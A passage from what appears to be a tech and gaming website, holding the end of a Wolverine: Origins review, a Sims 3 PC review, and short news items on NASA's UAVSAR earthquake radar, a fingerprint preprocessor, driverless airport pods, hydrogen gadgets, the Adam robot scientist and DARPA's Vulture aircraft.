The levels are all designed well (with the exception of the Weapon X facility), and the Unreal engine brings out the most from the environments. Although there are some disappearing objects and some texture drops, the glitches are brief and not severe.

Another great thing the Unreal engine helps with is Wolvie’s healing factor. As you take damage, it’s reflected on your body. If you get shot, you’ll see a bullet hole through the flesh; when you take heavy damage, you will see exposed bones and organs. Your healing ability kicks in after a bit and you get to see the wounds heal from the inside-out (that is, if you’ve got the camera in close enough).

A lot of people accuse Wolverine: Origins of being like God of War and rightly so, but it isn’t like God of War, it is God of War. The gore, the button layout, the magic—you’re just a less puzzly form of Kratos. If you were expecting a whole new experience, you’ll be let down, this is still the best game Marvel has ever put out.

God of War as it may be, Wolverine: Origins is a bit lacking in the puzzle/platforming department, but let's be reasonable. No one bought this game because of Wolverine’s preternatural ability to jump from one moving platform to the next. You’re buying it for the same reason we all are: to rip, stab, gut, maim, and eviscerate everything in sight- and this game delivers on all these fronts.

The aforementioned boss fights are a bit of a disappointment, but again it's not a deal-breaker. Most are won with the tried-and-true action-game dodge-then-stab-them-in-the-ass method of boss fights. The simpler bosses that fall to these simple tactics then enter the fray as regular enemies in the maim-a-thon once you’ve beaten them to keep the game challenging.

“Challenging”, I suppose, doesn’t accurately describe the difficulty in Origins. There isn’t really much “challenge” to speak of. Since Wolverine has a healing factor (that and the claws are what make him both a mutant and cool), he heals automatically like he’s from Halo or something, though where he’s finding shirts and trousers that stitch themselves back together I’ll never know.

You earn points and such to upgrade abilities and stats, but not enough to max everything out on your first go-around, so if you want an overpowered murder machine with maxed stats, you’ll have to play through at least twice. You can also unlock different costumes from throughout Wolvie’s journey, which is less cool than it sounds because the game switches you back to the tanktop/jeans ensemble during cut-scenes.

Gambit’s in this as well and slightly more Cajun and considerably more obnoxious. You fight him about six times and each time, he runs off and you have to chase the walking stereotype down and beat the French out of him. And… well… it’s not a big deal (more of a personal bias really), but you never really get to kick his ass definitively enough.

The only other downside to this is the length (about 7 hours). If this had been just a couple of hours longer and had the option to kill Gambit, I’d say this was a shoe-in for game of the year. But as it stands, Wolverine: Origins is a blistering homage to our favorite mutie with claws, and another example that even if a video game is based off a mediocre movie, it can still rip the gaming scene apart. In a good way, bub.

The Sims 3 - PC

There are two types of Sims players in the world: those who make and those who do. Players know which type they are immediately; it is evident by where they spend their time. Fortunately, this latest entry in the Sims universe has something for both types. A few minor annoyances notwithstanding, Sims 3 will please fans of the franchise and has the potential to attract a new group altogether.

With Sims 3, you can practically place a mirror next to your monitor and make yourself. There are so many options to customize your Sims that the variety is almost overwhelming. Everything from face and eye shape to nose type and muscle tone can be modified. Many of the features can be adjusted with a sliding scale control, which makes the experience leap from digital to near-analog. That may seem like a backwards step, but trust me, it isn't.

However, there is one glaring exception right out of the box, something that's a little strange. You can make your Sims look like just about anything except someone with curly hair. It's perplexing that EA, knowing its fan base so well, would make such an omission or just forget. It's a minor disturbance. but anyone with curly hair or with a curly-haired ex (*cough*) that they want to simulate and destroy (*cough again*) will notice it fairly quickly. Sure, you can go out and download curly hair, but it shouldn't take extra work to look natural.

The operative word when it comes to making things in Sims 3 is 'more' - everything is turned up a notch. In earlier releases, shoes were defaulted with outfits, but here, you get to choose the shoes. Nearly everything else gets the same treatment: furniture, fabrics, the range of the color wheel, and more. A player could happily spend hours just making enough merchandise to fill a Home Depot. The experience is enjoyable, and it is easy to lose yourself (and your time!) before your Sim even takes a family portrait.

Unfortunately, Sims 3 giveth and Sims 3 taketh away. It is not so easy to make a new town. Technically, this can't even be done... yet. Currently, you can only edit the existing town, or go to www.thesims3.com and download the free one advertised in the game insert. EA has announced that a tool to make towns will be coming soon, but who likes to wait? For the Sims 2 player who had a dozen or more towns, or for the urban planner in all of us, this is quite a letdown - a big minus for those who like to 'make'.

For those who like to 'do', an important step comes while creating Sims: personality traits. This is a new addition for Sims 3, and it makes a big difference. Each Sim can be assigned up to five traits, chosen from a very long list of possibles: athletic, artistic, a bookworm, charismatic, etc. The traits assigned to a Sim will determine about five lifetime goals to which they can choose to aspire. In Sims 2, every Sim got the same five lifetime goals to choose from, but now, making an artistic evil genius may result in lifetime goals of becoming ruler of the free world or a cult leader. And an ambitious artistic type can choose from being a rock star, master of the arts, or others.

These traits also seem to affect Sims as they go about their lives unattended. The free will they use, which is more apparent than in earlier versions, will be guided by the traits given to them early on. A neat Sim will spend unattended time cleaning up (even to their detriment – very neat sims will go around trying to clean up active fire pits, which never has a good outcome). The addition of personality traits is a brilliant improvement that will no doubt be made even better in upcoming versions and upgrades.

Enough random things can still happen to make play engaging. My first family got burglarized in the middle of the night, had a kitchen fire, and had their computer monitor smolder and break down, all in the first week of play. I wonder if it's because I made one of my Sims handy, as he had a lot of opportunities to improve his repair skill - with hardship comes progress, I suppose.

Sims also have favorite colors, foods, and music types. This doesn't seem to affect play much, except that their favorite music type plays whenever they turn on the stereo. The electronica is actually enjoyable, much better than the typical Sims background muzak, and the classical selections are actual classical songs by composers in the real world. The Sims collection has never been known for music or sound, and Sims 3 doesn't look to gain any ground here. What was done right in the past, like sing-song Sim-lish and unassuming accompaniments, you'll find here as well, but not much in the way of innovation.

The freedom to move about is probably the one improvement that will attract new players. It is a joy to get out and see the town. Loyal fans will appreciate the absence of loading screens, and those new to the game will think this is the way it's always been and wonder why they hadn't given the game a chance a long time ago.

Performance is pretty much seamless. You can move your sims around in map view by simply clicking where you want them to go. If Sims 2 and 3 could be related to the stages of life, Sims 3 is definitely the part where you get your driver's license and you no longer have a curfew.

Online upgrades are always happening, and there is an online outlet for sharing items and for writing blogs about the Sims 3 experience. People are doing some very creative things in their virtual god armchairs, and it's interesting to see what they have made. The online community seems well-supported and is a nice addition, but it is not necessary to go online to enjoy the game.

All in all, this is a very solid entry for the franchise, with enough new features and assets to please loyal fans and with enough improvements to attract initiates. Too bad on the curly hair thing, though. Not everyone embraces the flat iron.

NASA Unmanned Jet to Take 3D Hi-Res Images of Earthquake Faults

To better understand the possibilities of California's deadly earthquake, researchers at NASA came up with the idea of using a jet equipped with an autopilot system and radar to identify the earthquake faults with high-precision.

Scientists dubbed their system Uninhabited Aerial Vehicle Synthetic Aperture Radar (UAVSAR). It features a UAVSAR pod that is 10 feet long and which can take high-resolution photos beneath the surface of the earth. The autopilot system makes it possible for the radar to repeatedly fly above the same regions.

One flight will not give a lot of information on the earthquake faults. However, after scanning the faults again after several hours, days or months, each movement turns obvious with the help of interferometry, a method of making obvious the dissimilarities between several sets of information. More news about NASA and scientific technology you can find here at www.InfoNIAC.com, check the links at the bottom of the story.

Now scientists at NASA are using a jet with UAVSAR to map faults in the San Francisco Bay Area, central and southern California, as well as the Los Angeles Basin, which encompasses the San Andreas and Hayward faults. To increase the scanning time and reduce the cost of the whole project, researchers decided to use an unmanned jet. Taking advantage of the information gathered from the scans, NASA looks forward to develop a detailed image of the movement of faults. More information and images is available here.

Latest Invention from Warwick Warp - Fingerprint Preprocessor Module

Scientists at Warwick Warp, a biometrics group with headquarters in Coventry, managed to end their first phase of creating a fingerprint identification technology.

Researchers built a software-based fingerprint preprocessor module, which, they believe, will greatly improve the matching accuracy due to the fact that the device can handle low-quality prints and different spatial alterations.

In 2008 Advantage West Midlands gave scientists at Warwick Warp a GBP139,000 grant to carry out their research and development to improve operational capacity and work on the product design.

Dr Li Wang, chief technology officer at Warwick Warp, outlined that the funding has been very important for the creation and innovation of their fingerprint preprocessor software module. He added that the latest grant helped the Coventry-based company to establish in the market with competitive products "that will withstand scrutiny and meet international standards", reports The Engineer.

Nick Paul, chairman of Advantage West Midlands, outlined that by offering grants for R&D, Advantage West Midlands shares part of the risks of R&D activity in small and medium-sized firms. At the same time it helps to bring to light latest inventions that are crucial for a flourishing future of the region.

Latest Invention: Eco-friendly Driverless Vehicles

At Heathrow Airport engineers are testing their latest invention - personal driving pods that will transport travelers to their destinations non-stop and at the same time reduce the level of pollution and eliminate overcrowding. If the pods prove to be successful it is possible that the network of such vehicles will be built in different countries worldwide.

Two ULTra Personal Rapid Transit vehicles can be observed at London Science Museum that marks its centenary by exhibiting ten icons that played the most important role in changing the world. The exhibition is entitled "The Making of the Modern World" and the latest invention of researchers and engineers from Advanced Transport Systems stands next to the steam locomotive. Visitors of the Science Museum will have the possibility to ask questions regarding the ULTra vehicles and see how they work.

Passengers taking the PRT vehicles will need to come to one of the three stations and as they board ULTra they are asked to select their destination on the touch screen. After that vehicles take passengers straight to the chosen destination without stopping at any other location. Thus the latest invention from Advanced Transport Systems will provide a quicker and eco-friendlier transportation. More information of green transportation and technology you can find here at www.InfoNIAC.com, check the links at the bottom of the story.

Graham Bradburn, chief executive of Advanced Transport Systems, described the invention by saying that: "It is the physical manifestation of many years work for ATS and BAA, and represents the vision of the original individuals involved."

Hydrogen Powered Gadgets Presented at Solar and Fuel Cell Exposition in Tokyo

The capital of Japan housed a number of companies that presented their latest inventions in technology, but not just any technology. The exposition, entitled PV & FC Expo 2009, held at Tokyo Bog Sight, host the largest show of photovoltaic (solar cells) and fuel cell technology, bringing together companies and investors.

Among the most impressive inventions on the exposition there was the dancing hydrogen-powered robot along with her robot dog companion.

Despite the fact that there are still debates regarding the possibility of hydrogen economy, the number of visitors, as well as the commercial interest at the exposition shows that hydrogen economy will definitely become an element of a future sustainable economy.

Among other latest inventions at the FC Expo 2009, there was Yamaha's FC-dii hydrogen fuel cell motorbike. It can be powered either by fuel cell, which uses methanol, or by external li-ion battery.

Several hydrogen powered gadgets were presented at the exposition by Horizon Fuel Cell Technologies. One of them was a hydrogen powered assisted-drive bicycle. Currently its price is $4,600. The bicycle features hydrogen packs that generate power when needed. These packs can be recharged.

In addition, there were a number of hydrogen powered toys along with fuel cell/energy generation learning kits, such as the H-racer 2.0, which is rather pricey, $120, but it features a solar cell and a "hydrogen station."

The popular Japanese company Kawasaki was not left unnoticed. It presented its fuel cell light rail concept.

Many consider that hydrogen represents one of the few practical options to substitute natural gas and oil for means of transport. It can be produced using solar, wind or wave power, as well as from biogas.

Latest Invention: Robot that Makes Discoveries on Its Own

Scientists at Aberystwyth University and the University of Cambridge in the UK managed to create world's first robot that can carry out its own experiments, produce hypotheses as well as make scientific discoveries. Researchers dubbed their latest invention Adam.

Working on its own, the robot-scientist already managed to find new functions for several genes of Saccharomyces cerevisiae, also known as brewer's yeast.

The lead-researcher of the project is Ross King, a computational biologist at Aberystwyth. He says that up till now Adam made modest findings, but all the discoveries were real. Their latest invention consists of a room equipped with different laboratory instruments. It includes 4 personal computers that work as one brain. In addition, Adam has robot arms, a number of cameras, liquid handlers, incubators and more.

Performing the Experiment

Scientists gave their latest invention a freezer with a collection of mutant strains of yeast where individual genes were deleted. The robot was also provided with a database that contained information on the yeast genes, enzymes and metabolism, as well as a supply of hundreds of metabolites.

In order to find which genes coded for which enzymes, the robot cultured mutant yeast that had a specific gene deleted. Then it analyzed the way mutant grew without a certain metabolite. In case the strain was spotted to grow not very well, Adam registered new information about the function of the deleted gene.

It is worth mentioning that Adam is able to perform over 1,000 similar experiments daily. So far, the robot came up with and tested 20 hypotheses about the coding of genes for 13 enzymes, from which 12 were confirmed by researchers, who carried out their own experiments.

Partner for Adam

Currently scientists are developing a new robot, the goal of which will be to discover new drugs. The new robot will be dubbed Eva. With robots' help scientists will be able to focus on complex studies, leaving robots to carry out routine and time-consuming tasks. At the same time robots will have the possibility to conduct their own, completely independent experiments, reports New Scientist.

Artificial Intelligence

According to Will Bridewell, an artificial intelligence researcher at Stanford University in Palo Alto, California, the robot, created by scientists from Aberystwyth University, carried out its studies on the level of a graduate student. Nevertheless, this latest technological invention continues to make steps towards an artificially intelligent machine, able work together with other researchers and register their results in natural language. "That's probably far off, but it seems likely that we will get there. This is yet another step on the way," said Mr. Bridewell.

Vulture - The Unmanned Aircraft Able to Stay in the Air for 5 Years

Officials from Flight Global stated that DARPA will probably sign a contract to create an unmanned aircraft that is able to stay in the air for about 5 years at a time. The representatives from DARPA characterize their project, entitled "Vulture," as a "persistent pseudo-satellite capability in an aircraft package." Generally speaking the aircraft is able to fly over a single area, communicating or performing analysis for years at a time.

Having such grand goals the company has to overcome some serious barriers. One of the major obstacles is linked with the fact that designers have to figure out the way to supply power to such an aircraft during the long missions. In addition it is worth mentioning that the aircraft will carry a 1000 pound (450 kg) payload in terrible winds at an altitude of 60,000 to 90,000 feet. In regard to the design of the aircraft, it will probably be the one seen in the picture, developed by NASA, however, there is no certain time table on when the craft will actually be ready.

US Defense Advanced Research Projects Agency looks forward to push the limits of unmanned aviation to extremes. The latest UAV project of DARPA currently raises eyebrows.

"We want to completely change the paradigm of how we think of aircraft," stated Daniel Newman, who holds the post of Vulture project manager. "Aviation has a perfect record - we've never left one up there. We will attempt to break that record," he added.

"The ability to "close the business case" on an aircraft that could be launched and then not maintained or brought home for five years would be a "paradigm shift. We would no longer define an aircraft by the launch - recover - maintain - launch cycle," outlined Newman.

Besides problems with providing power to the craft, engineers are working on maximizing aero-structural efficiency and avoiding the deterioration of materials during their long-time exposure to stratospheric flight.

Basically the aircraft operates like a satellite, which is, however, not regulated by orbital mechanics. "It could be positioned over the battle, at 65,000ft versus 260 miles," outlined DARPA's Wade Pulliam. According to Pulliam, the Vulture is a pseudo-satellite, the operation of which in the stratosphere and not in the low Earth orbit would give a 65 dB upgrading in communications capability and considerably increase onboard sensor resolution.

Technology has come a long way in the past few decades and the advances don't appear to be slowing down anytime soon. From laptops and cellphones to the advent of Internet communications, we are moving toward a brave new world of possibilities. Even buying a new computer is tricky, since it'll probably be outdated by the time you open the box!